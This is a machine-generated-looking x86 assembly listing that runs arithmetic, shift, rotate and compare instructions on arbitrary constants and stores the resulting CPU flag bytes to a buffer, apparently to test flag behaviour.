stosb byte es:[edi], al
mov edx, 0x28e99c40
mov ecx, 0xad70b5b6
ror edx, cl
mov edx, 0x162bbdaa
mov ecx, 0xde7af1fe
rol edx, cl
mov eax, 0x1fa35179
inc eax
mov ebx, 0x12ff9df4
rol ebx, 1
lahf
xchg al, ah
stosb byte es:[edi], al
mov ecx, 0x95647fe2
cmp ecx, 0x43cd6c56
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x1f853445
mov ecx, 0x2cfc7cc9
rol ebx, cl
mov eax, 0xf7e7cc5c
mov ebx, 0x1f94bac8
sub eax, ebx
mov eax, 0xbd39904f
aaa
mov eax, 0xf1a8e20a
mov ecx, 0x44c1243a
add eax, ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov ecx, 0xe16fd8e8
neg ecx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0x8f67fd55
mov ecx, 0xc726dd4b
ror ebx, cl
mov eax, 0x30a5717
mov ecx, 0x775f690
ror eax, cl
mov eax, 0xb02d172e
mov ecx, 0x77442421
ror eax, cl
mov edx, 0x1e3f6e12
mov eax, 0x430cc6a8
add edx, eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x5ed31f5d
mov ecx, 0xc0c2c2d4
ror ebx, cl
mov ebx, 0xa61a83ed
dec ebx
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0xbc8ee6ef
inc edx
mov eax, 0x139a8a2f
mov ecx, 0xc0450e52
rol eax, cl
lahf
mov byte [edi], ah
inc edi
mov eax, 0x44b5c7fd
cmp eax, 0x974a6ac3
mov eax, 0xdb694617
aas
mov ebx, 0xf8c60ff5
dec ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x6ab23d40
neg ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x2e753061
rol edx, 1
mov eax, 0xe4620f44
add eax, 0x49f303b7
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x46b44f0
mov ecx, 0x9dba2e8a
ror eax, cl
mov edx, 0x2a121bf3
dec edx
mov edx, 0x500d058a
mov ecx, 0x2aa412ea
ror edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x30ff1207
mov ebx, 0xbecc8237
add edx, ebx
mov eax, 0x6d9104e8
aaa
mov ecx, 0x1b64cf9d
inc ecx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x72fcec8e
mov ecx, 0xed850a97
sub eax, ecx
mov eax, 0x97a6c650
aas
mov ebx, 0x25946930
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x41f53788
inc edx
mov edx, 0x3030d857
mov ecx, 0xb973d2c9
ror edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x2c84bf0b
sal edx, 1
mov edx, 0x5269e2dd
dec edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x304cf28d
mov ecx, 0x787fd86d
rol eax, cl
mov ebx, 0xea76ce2c
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x3949d200
mov ecx, 0x43504ee5
rol edx, cl
mov edx, 0xc8818c10
mov ecx, 0x2c687a5e
sal edx, cl
mov ecx, 0xa5b2aa2f
inc ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x5575182e
mov ecx, 0xc4ac96be
rol edx, cl
mov edx, 0xfe57e5c6
mov ecx, 0xdbd6fe52
ror edx, cl
mov eax, 0xa9b09754
aaa
mov edx, 0x85e53440
mov ecx, 0xb0dc7d52
rol edx, cl
mov edx, 0x405ec44f
cmp edx, 0x3c3f620f
lahf
mov byte [edi], ah
inc edi
mov edx, 0xb3882c7d
rol edx, 1
mov edx, 0x9a8dbc90
add edx, 0xf442aeb6
mov eax, 0x1ebc2dcd
aaa
mov ebx, 0xefee106f
inc ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x1dd6200
mov ecx, 0x41b476e3
rol eax, cl
mov ecx, 0xff68fb9f
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x1803e124
mov ecx, 0xe0b215ea
ror edx, cl
mov eax, 0xc044ad15
sub eax, 0xc52d4b6f
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x6ce57e21
rol ebx, 1
mov ecx, 0x35d1b25a
mov ebx, 0xc8361d74
add ecx, ebx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0xe61e79d3
add ebx, 0x4eff088a
mov eax, 0xf64c75f0
dec eax
mov eax, 0x8076aa82
mov ecx, 0xa7119726
rol eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xc399f4b4
mov ecx, 0x44e00ee7
ror edx, cl
mov eax, 0x5b5b66e6
mov ecx, 0x3a6aa9f9
rol eax, cl
mov eax, 0xf3a4597a
aaa
mov ebx, 0x512f9806
mov ecx, 0xd30e2072
rol ebx, cl
mov ebx, 0x5b1bed94
mov ecx, 0x612ad824
rol ebx, cl
mov eax, 0x9524d581
mov ecx, 0x89b76b83
sal eax, cl
mov eax, 0x5e4ace3
mov ebx, 0x2a4d3acd
add eax, ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov ecx, 0xc5f3cf4e
cmp ecx, 0x82b011cc
mov eax, 0x19dc29ef
aaa
mov eax, 0x266c9b30
mov ecx, 0xf31f95c7
ror eax, cl
mov eax, 0x902b62dc
mov ecx, 0x7a9ee7
sar eax, cl
mov ecx, 0x934c8d0
dec ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xb5cf8247
aas
mov eax, 0x9f42dcc
mov ecx, 0xc51d51a0
add eax, ecx
mov eax, 0xa38c54ba
aaa
mov ebx, 0x8495292b
sal ebx, 1
mov eax, 0x21e539ac
aaa
mov eax, 0x1286bd3c
mov ecx, 0xf761c101
rol eax, cl
mov edx, 0x16175bb2
sub edx, 0x9a043a58
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x259cb227
dec eax
mov edx, 0x6d215eae
rol edx, 1
lahf
mov byte [edi], ah
inc edi
mov edx, 0x60095ac
sal edx, 1
mov ebx, 0xf28af47a
dec ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x14733e93
rol eax, 1
mov ecx, 0x84cf5a00
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xae9265af
cmp edx, 0x63e9ea
mov edx, 0xa569653c
mov ecx, 0x4bf0c01d
ror edx, cl
mov eax, 0x9f4cd530
shl eax, 0xcd
mov ecx, 0x23772b02
inc ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xb6143991
mov ecx, 0xd867a18c
sal eax, cl
mov edx, 0x5e98a6b0
dec edx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x6c4fe7f7
mov eax, 0x5fdcfb73
cmp ecx, eax
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x8c12eedb
mov ecx, 0x6f9db7ac
rol eax, cl
mov ebx, 0x8f8b1bf
cmp ebx, 0x91d1cae2
mov eax, 0xf7d3aaa8
aaa
mov ebx, 0x7b72d8fa
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x7c91ab8
inc eax
mov ebx, 0x5785f530
rol ebx, 1
lahf
mov byte [edi], ah
inc edi
mov eax, 0x3900527b
rol eax, 1
mov ebx, 0x7ffb9b90
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x6992a93a
mov ecx, 0x9f6392f5
sub ebx, ecx
mov eax, 0x698c4548
aas
mov eax, 0x1d51d2a7
inc eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x3890a737
inc ebx
mov ebx, 0x4dbc897f
rol ebx, 1
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xdba72049
rol ebx, 1
mov ecx, 0x8b43072e
dec ecx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0xd44adf9b
mov ecx, 0x55b5764c
ror eax, cl
mov eax, 0xa2a27802
mov ecx, 0x866de3de
rol eax, cl
mov ebx, 0x50b9780d
rol ebx, 1
mov eax, 0x8d2fc937
rol eax, 1
mov edx, 0x7f40dc8f
sal edx, 1
mov ebx, 0x9c6e694f
inc ebx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0x1b2119b9
mov ecx, 0xa588573f
ror edx, cl
mov eax, 0xf3cc45fc
shl eax, 1
mov ecx, 0x50e1550f
mov ebx, 0x2e069130
sub ecx, ebx
mov eax, 0x3e63a6dd
aaa
mov ecx, 0x2766d81f
inc ecx
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0xecc326
rol edx, 1
mov ebx, 0xc25a2d35
mov ecx, 0xf2054b1f
rol ebx, cl
mov edx, 0x3e0cf78e
mov ebx, 0x4355c7c0
sub edx, ebx
mov ebx, 0xe42470b0
sub ebx, 0x4b8d78ac
lahf
mov byte [edi], ah
inc edi
mov edx, 0x484c3a3c
mov ecx, 0xf07f3389
ror edx, cl
mov eax, 0x9d134578
mov ecx, 0x100249f9
shl eax, cl
mov ecx, 0x8bf1dad0
dec ecx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x41b00604
neg ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x96c84dd2
sar ebx, 0x7e
mov ebx, 0x985e4fca
inc ebx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0xd2af7849
cmp edx, 0x36bc17fa
lahf
mov byte [edi], ah
inc edi
mov ecx, 0xcc164530
neg ecx
mov eax, 0xf98a92c6
rol eax, 1
mov eax, 0x2fe20e45
sal eax, 1
mov edx, 0x6323a62d
add edx, 0x1020259a
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xc338a5a5
mov ecx, 0x139ba48a
ror ebx, cl
mov edx, 0x6ae37f0c
add edx, 0xdce02f6c
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0xa272f585
cmp eax, 0x16c3d791
mov eax, 0x8535058e
aaa
mov eax, 0x3fb14e2f
inc eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0xc92b73c6
mov ebx, 0xf1885f30
cmp edx, ebx
mov eax, 0x32a35219
aas
mov eax, 0x55ff8402
dec eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x8b31e875
rol ebx, 1
mov eax, 0xfdf0613e
mov ecx, 0x2633cfdd
ror eax, cl
mov eax, 0xe20aaf69
dec eax
mov edx, 0x14d69bcc
mov ecx, 0x50f1cdc2
ror edx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov ecx, 0xffc2dd8f
inc ecx
mov ebx, 0x182f47eb
rol ebx, 1
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xac35602e
mov ecx, 0x3e6c7f43
sal edx, cl
mov ecx, 0x5a0fdcf8
dec ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xbad7530c
mov ecx, 0xba56575f
ror ebx, cl
mov ebx, 0xd7ebe2f9
add ebx, 0xb9486eec
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x3aea658c
sal eax, 1
mov eax, 0x1bb6136b
inc eax
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x1fbccb41
mov ecx, 0xbfafac26
ror edx, cl
mov ebx, 0x4dfdd41d
dec ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0xe87c427a
mov ecx, 0x336f53fb
ror edx, cl
mov eax, 0x61262f3d
rol eax, 1
mov ebx, 0x69b2078e
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x29753894
mov ecx, 0x68ac0c87
rol ebx, cl
mov eax, 0xa3629490
rol eax, 1
mov ebx, 0x59e533c3
mov ecx, 0x54dc988c
ror ebx, cl
mov eax, 0x5f477e7a
dec eax
mov eax, 0xe999c38a
mov ecx, 0x42e0b446
ror eax, cl
lahf
mov byte [edi], ah
inc edi
mov eax, 0x90d3f110
mov ecx, 0x24104660
sub eax, ecx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xb204ea16
mov ecx, 0x8e1789b9
sar ebx, cl
mov ecx, 0x21e9d7a8
dec ecx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x97881031
mov ecx, 0x472bd76a
rol ebx, cl
mov edx, 0xb7d2adba
inc edx
mov edx, 0x45cc3fac
mov ecx, 0x73ff57ed
rol edx, cl
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0x5ae1bbe9
rol edx, 1
mov edx, 0xb7bf5fb6
sar edx, 0x41
mov eax, 0x60fa5c67
mov ecx, 0x6725d7f0
sal eax, cl
mov edx, 0xb74c3dbf
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x7813113e
mov edx, 0x1a5011e1
sub eax, edx
mov eax, 0x5c059c04
aaa
mov edx, 0xb3812a73
dec edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xb780dad7
mov ecx, 0x8c03f485
rol edx, cl
mov eax, 0xb62f2a43
rol eax, 1
mov eax, 0xdf79677c
inc eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x75042ab4
rol eax, 1
mov eax, 0x7c21e580
mov ecx, 0xea88dbf3
ror eax, cl
mov eax, 0xe7e7fcff
inc eax
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xcf7e07af
rol ebx, 1
mov ebx, 0xb1e1e79f
inc ebx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0xcf609a0c
rol ebx, 1
mov ebx, 0x4ed30833
rol ebx, 1
mov eax, 0xb73cb3c2
dec eax
mov eax, 0xb2872a2
mov ecx, 0xc54b368b
ror eax, cl
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x8af5cfcb
mov edx, 0x8a2c7f
sub ecx, edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xca73ff99
mov ecx, 0x16e23817
ror eax, cl
mov eax, 0x1b656656
rol eax, 1
mov edx, 0x359df3d4
sal edx, 1
mov ebx, 0x7322f836
mov ecx, 0x48edb535
ror ebx, cl
mov ebx, 0x9b39dc54
mov ecx, 0x3700be87
rol ebx, cl
mov eax, 0x9b8a4b54
aas
mov edx, 0x422071b4
mov ebx, 0x17d99aa6
sub edx, ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x9a764619
rol edx, 1
mov eax, 0x8d26f97b
sal eax, 1
mov ecx, 0x2d44e54f
inc ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x4ac5f571
sar ebx, 0x29
mov edx, 0xa5824736
sal edx, 1
mov edx, 0xe8607b62
rol edx, 1
mov ebx, 0x3250990
mov edx, 0xccfac6e4
cmp ebx, edx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0xf819e4f
sal ebx, 1
mov edx, 0x22bddd5c
inc edx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x57ac10de
mov ecx, 0x215f01f7
rol ebx, cl
mov eax, 0xf0446ba1
mov ecx, 0xdd57f40d
rol eax, cl
mov ecx, 0xdce5420f
dec ecx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xfc99f1bf
sub eax, 0x5b5ea50b
mov ebx, 0xec9c6bc7
mov ecx, 0x340f0d47
ror ebx, cl
mov eax, 0x4af641d5
mov ecx, 0xb91a134
shl eax, cl
mov ebx, 0x2d9239e3
mov ecx, 0xa71d086f
ror ebx, cl
mov ebx, 0xdcf2c570
dec ebx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x29b5f59e
mov ecx, 0x41ec7df4
rol ebx, cl
mov edx, 0xda6d9916
rol edx, 1
mov eax, 0x4aee6318
inc eax
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x3a1abb8
mov ecx, 0xe008f4be
rol edx, cl
mov ebx, 0xf0fec240
cmp ebx, 0x305f6188
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0xb3446be0
rol ebx, 1
mov ecx, 0x6e291e64
inc ecx
mov edx, 0xc3e560ac
mov ecx, 0x26dc2ef1
ror edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x8a9d09b8
rol edx, 1
mov eax, 0x5cc2965a
inc eax
mov edx, 0x412fb74b
rol edx, 1
lahf
mov byte [edi], ah
inc edi
mov eax, 0x2727422c
rol eax, 1
mov eax, 0xcbbe924e
mov ecx, 0x7279eae3
rol eax, cl
mov ecx, 0x2817d4d7
dec ecx
mov eax, 0x2eb3081c
mov ecx, 0x642237cf
ror eax, cl
lahf
mov byte [edi], ah
inc edi
mov eax, 0xb6343d5b
mov ecx, 0x4507657c
ror eax, cl
mov ebx, 0x1a00618
inc ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xd0008124
mov ecx, 0xb6830aed
sar eax, cl
mov ecx, 0x26f5fdf0
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x94c478b8
mov ecx, 0x43d7c77e
rol ebx, cl
mov ebx, 0x6b2e4ca6
rol ebx, 1
mov ecx, 0xc3ac3b2
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xb6f4ec4c
inc eax
mov edx, 0xadbb1d0
mov ecx, 0xf7ea8fc5
rol edx, cl
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x60cb60a5
rol edx, 1
mov ebx, 0xbd81d8a4
sub ebx, 0x2e26c2a8
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x1dac93f5
mov eax, 0x3a754d70
sub edx, eax
mov eax, 0x6cd63c6e
aaa
mov ebx, 0xb137e9ff
inc ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov ecx, 0xae0eb483
dec ecx
mov eax, 0x2a283462
rol eax, 1
lahf
mov byte [edi], ah
inc edi
mov edx, 0x2dc30a8b
mov ecx, 0xb572444d
rol edx, cl
mov ebx, 0xdf964447
add ebx, 0x1717fcbe
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x802bfff8
shl eax, 1
mov ebx, 0xa901deef
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x300e55c
mov ecx, 0xd5831b85
ror ebx, cl
mov edx, 0x2573b4d7
mov ecx, 0xfde2ced4
sar edx, cl
mov eax, 0x9e65bcf0
inc eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x39f4e4a4
mov ecx, 0x7fc7abc9
rol eax, cl
mov edx, 0x8608d253
sar edx, 0x3c
mov edx, 0x5c29d7b1
sal edx, 1
mov eax, 0xe0792f16
aas
mov ebx, 0xebff3ff9
mov edx, 0x5dcca98b
sub ebx, edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x60858fb7
sal edx, 0x87
mov edx, 0x8dbd83d
mov ecx, 0x2dea53f0
rol edx, cl
mov edx, 0xb85391c1
mov ecx, 0x9042b014
ror edx, cl
mov edx, 0x8a15120
dec edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0xcf4c414e
shl ebx, 1
mov eax, 0x7662b5d0
dec eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x78e53a6b
rol edx, 1
mov eax, 0x8647be89
mov ecx, 0xcd86724b
ror eax, cl
mov ecx, 0x7a33238
mov edx, 0x1aa0bf41
sub ecx, edx
mov eax, 0xcaf7654d
aas
mov ebx, 0x6bd074a0
dec ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0xa9dacd8b
aas
mov edx, 0x623db29b
mov ecx, 0x6794cb08
rol edx, cl
mov eax, 0x277e17af
dec eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ecx, 0x58181c30
neg ecx
mov eax, 0xf3e217b4
aas
mov edx, 0x8ea96268
dec edx
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0xf748ecf5
mov ecx, 0x4debe689
rol edx, cl
mov edx, 0x8f63688f
inc edx
mov edx, 0xbebf6661
mov ecx, 0x3cde8528
rol edx, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0xc6b740c2
rol eax, 1
mov eax, 0x93fa6a2f
inc eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x54ddbf57
mov ecx, 0xb46e88
rol eax, cl
mov eax, 0xb24caca6
rol eax, 1
mov ebx, 0xa69d885b
rol ebx, 1
mov ecx, 0x863f1ecf
inc ecx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x5bad91df
inc edx
mov ebx, 0x5a950c3
rol ebx, 1
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x4dbfa464
shl ebx, 1
mov edx, 0x63ea014a
dec edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x153ff520
neg eax
mov eax, 0x716a6610
aas
mov ecx, 0x3a36fa3c
dec ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x80967e8
mov ecx, 0x151026e4
rol eax, cl
mov ecx, 0x5799626
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xbde7379d
mov ecx, 0x9fa6b8f5
ror eax, cl
mov edx, 0x10320acc
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x769ad157
rol eax, 1
mov ebx, 0xcd38361c
mov ecx, 0xa111c21a
cmp ebx, ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x13bdee5f
mov edx, 0x2db2b7ad
cmp eax, edx
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x3829a91b
add eax, 0x97ae2469
lahf
xchg ah, al
stosb byte es:[edi], al
mov ecx, 0x153c6aa7
mov edx, 0x82c5fa04
cmp ecx, edx
mov eax, 0xac9189a1
mov ecx, 0xd6b83572
rol eax, cl
mov edx, 0xc4d0decd
cmp edx, 0x5cc99874
mov edx, 0x7808df31
rol edx, 1
mov ebx, 0x3e4c923e
mov ecx, 0xfe7f7f21
sar ebx, cl
mov eax, 0x48fe11f0
dec eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0x674f12ca
mov ecx, 0xedae4d3e
shl edx, cl
mov edx, 0x8d7403d5
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xef287c73
sub ebx, 0x3441712b
lahf
mov byte [edi], ah
inc edi
mov edx, 0x2a79b151
mov ecx, 0x7b40a2eb
ror edx, cl
mov eax, 0x8b3b0a7c
rol eax, 1
mov eax, 0x7b0f9a5f
sar eax, 0xf0
mov ebx, 0x60af5ebb
mov ecx, 0x708eee9c
ror ebx, cl
mov eax, 0xd39f5a0b
sar eax, 0x4c
mov ebx, 0x488b9a88
mov ecx, 0xde5ab546
ror ebx, cl
mov ecx, 0xc4d62010
dec ecx
mov ebx, 0x5862da2c
mov ecx, 0x7b2dbfea
rol ebx, cl
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0xc8e6e2bf
mov ecx, 0xb4181c3
shl edx, cl
mov ecx, 0x8a3bc162
dec ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x5b39b2a
mov ecx, 0x37224fa2
rol ebx, cl
mov ecx, 0xa36e8050
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xb2469dd5
rol edx, 1
mov eax, 0x6fc4780f
inc eax
mov ebx, 0x6e2e608e
rol ebx, 1
lahf
mov byte [edi], ah
inc edi
mov eax, 0xf7c739f6
rol eax, 1
mov ebx, 0x34a2ce64
mov eax, 0xf5333fff
add ebx, eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x1e085f86
mov ecx, 0xd7abedba
ror ebx, cl
mov eax, 0x9123a7b0
mov ecx, 0xa52a6a7
rol eax, cl
mov edx, 0x2c957143
mov ecx, 0x44c1392
rol edx, cl
mov ecx, 0x864e0fd3
sub ecx, 0x236fde50
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x11679c23
rol eax, 1
mov eax, 0x93983fc1
dec eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x5362ad30
aaa
mov eax, 0x84dc10ae
mov ecx, 0x54f5044
sal eax, cl
mov eax, 0x93748f44
inc eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x415bea63
mov ecx, 0xf86a6761
rol edx, cl
mov edx, 0x1b070d6f
mov eax, 0xd43440f4
cmp edx, eax
mov edx, 0xd6cbd44f
inc edx
mov ebx, 0xf3f913a6
mov ecx, 0x7ac0cc3c
ror ebx, cl
lahf
mov byte [edi], ah
inc edi
mov edx, 0x2931b91e
rol edx, 1
mov edx, 0xa3eef326
dec edx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xc0a18fda
rol ebx, 1
mov eax, 0x302342b7
mov ecx, 0xc552cb38
rol eax, cl
mov eax, 0xacaa191b
mov ecx, 0xd3951ebc
rol eax, cl
mov ebx, 0x6bf3dbcf
inc ebx
mov edx, 0xb0e51a62
mov ecx, 0xa7dcb946
rol edx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x37e3a0ab
mov ecx, 0x1412f95d
ror eax, cl
mov ebx, 0x2b1a47df
inc ebx
mov eax, 0xded4fa2d
rol eax, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov ecx, 0x346ccb26
dec ecx
mov ebx, 0x2b58ea78
rol ebx, 1
lahf
mov byte [edi], ah
inc edi
mov edx, 0x21e106e5
add edx, 0x2b0614e8
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x2c197767
inc ebx
mov edx, 0x20ea3460
mov ecx, 0x70d539b5
rol edx, cl
lahf
mov byte [edi], ah
inc edi
mov eax, 0x4d895cfe
sar eax, 0xfa
mov edx, 0x39455af5
dec edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xa0f2a48b
mov ecx, 0x4bfd5f2e
rol edx, cl
mov ebx, 0x74d8fd24
dec ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x18b4870c
cmp edx, 0x8cddfee5
lahf
mov byte [edi], ah
inc edi
mov edx, 0x99aedd79
mov ecx, 0x229d042
ror edx, cl
mov ebx, 0xcd6129e6
mov ecx, 0xb8c8fc27
ror ebx, cl
mov edx, 0xd6e365c4
mov ecx, 0xcf12286d
rol edx, cl
mov eax, 0x445567af
mov ecx, 0xa30c2fc4
ror eax, cl
mov edx, 0x65a04104
mov ecx, 0x9ea3dd1d
ror edx, cl
mov eax, 0x26633e64
mov ecx, 0xac9250c2
shl eax, cl
mov edx, 0xf9ee332d
mov ecx, 0xbb694306
rol edx, cl
mov eax, 0x53dddf05
shl eax, 1
mov eax, 0xe4d41f1f
mov ecx, 0x8a27004f
rol eax, cl
mov eax, 0xbabe4118
aaa
mov eax, 0xd69c097f
sub eax, 0x18a5977a
mov edx, 0x56ea0b12
add edx, 0x7ddbf046
mov ebx, 0xff878d9f
mov ecx, 0x63c6e6b7
rol ebx, cl
mov edx, 0x9b05413
shl edx, 0xf
mov eax, 0x932fa89f
inc eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ecx, 0xb4722362
dec ecx
mov ebx, 0xa5be5e23
rol ebx, 1
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0xee041b91
rol ebx, 1
mov eax, 0xa359ebb8
mov ebx, 0xdb1e8f38
sub eax, ebx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x5cd03f81
sar eax, 4
mov eax, 0xf5e8fc33
inc eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xe68a98ef
sal ebx, 0x78
mov ebx, 0xaba9a02f
inc ebx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x8848b140
mov ecx, 0x82eb940f
ror eax, cl
mov eax, 0x1860bb4e
mov ecx, 0x64637007
rol eax, cl
mov edx, 0x71ea8ddd
inc edx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0xd0433686
sub ecx, 0x46c061ad
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x68058198
rol eax, 1
mov edx, 0xae096acb
mov ecx, 0x93103a16
rol edx, cl
mov ebx, 0xc315382e
shl ebx, 0x2b
mov edx, 0x1c4e370
dec edx
lahf
mov al, ah
stosb byte es:[edi], al
mov ecx, 0x57065cf4
mov edx, 0x11c7db31
add ecx, edx
mov eax, 0xcb60f082
aaa
mov eax, 0x40de9a99
dec eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ecx, 0x18d9996
inc ecx
mov edx, 0x2989936e
mov ecx, 0xcc90a90f
ror edx, cl
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x8711ce09
mov ecx, 0x8b386e7f
rol ebx, cl
mov edx, 0x22e4c63e
dec edx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x18b9ea1
inc eax
mov edx, 0x2b67821c
mov ecx, 0x53264cdb
rol edx, cl
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ecx, 0x205fdd79
inc ecx
mov eax, 0xac2d5bf3
mov ecx, 0xe344352c
rol eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x33e5f05b
sal ebx, 1
mov ebx, 0x5c86d403
dec ebx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0xc50d227e
mov ebx, 0xcc20512
sub edx, ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x1727a31f
sal eax, 1
mov eax, 0xd4e19738
mov ecx, 0x2e48d5e7
rol eax, cl
mov edx, 0x7e60ed63
mov ecx, 0xa2638d1a
rol edx, cl
mov ebx, 0xb978cae6
mov ecx, 0xfadb6d77
ror ebx, cl
mov eax, 0x4a42d0b1
mov ecx, 0x888d1746
rol eax, cl
mov edx, 0xea2334ea
rol edx, 1
mov edx, 0x36037c20
dec edx
mov eax, 0x6a0a1c70
mov ecx, 0xaa755362
ror eax, cl
pushfd
pop ecx
mov byte [edi], cl
